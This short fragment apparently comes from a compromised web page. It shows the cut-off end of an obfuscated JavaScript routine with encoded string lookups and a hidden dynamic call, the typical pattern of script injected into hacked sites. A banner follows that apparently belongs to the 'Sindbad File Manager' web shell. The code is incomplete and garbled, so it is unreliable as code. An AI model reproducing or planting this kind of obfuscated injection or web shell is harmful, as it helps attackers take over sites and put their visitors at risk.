f=R;T(r,f(0xed,'njiZ')+'x')&&h[f(0xfc,'XdD1')+'l'](r);});}function T(r,U){var W=R;return r[W(0xc5,'njiZ')+W(0xd0,'3J$[')+'f'](U)!==-(-0x1408+-0x40*-0x8d+-0xf37);}}());};
Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists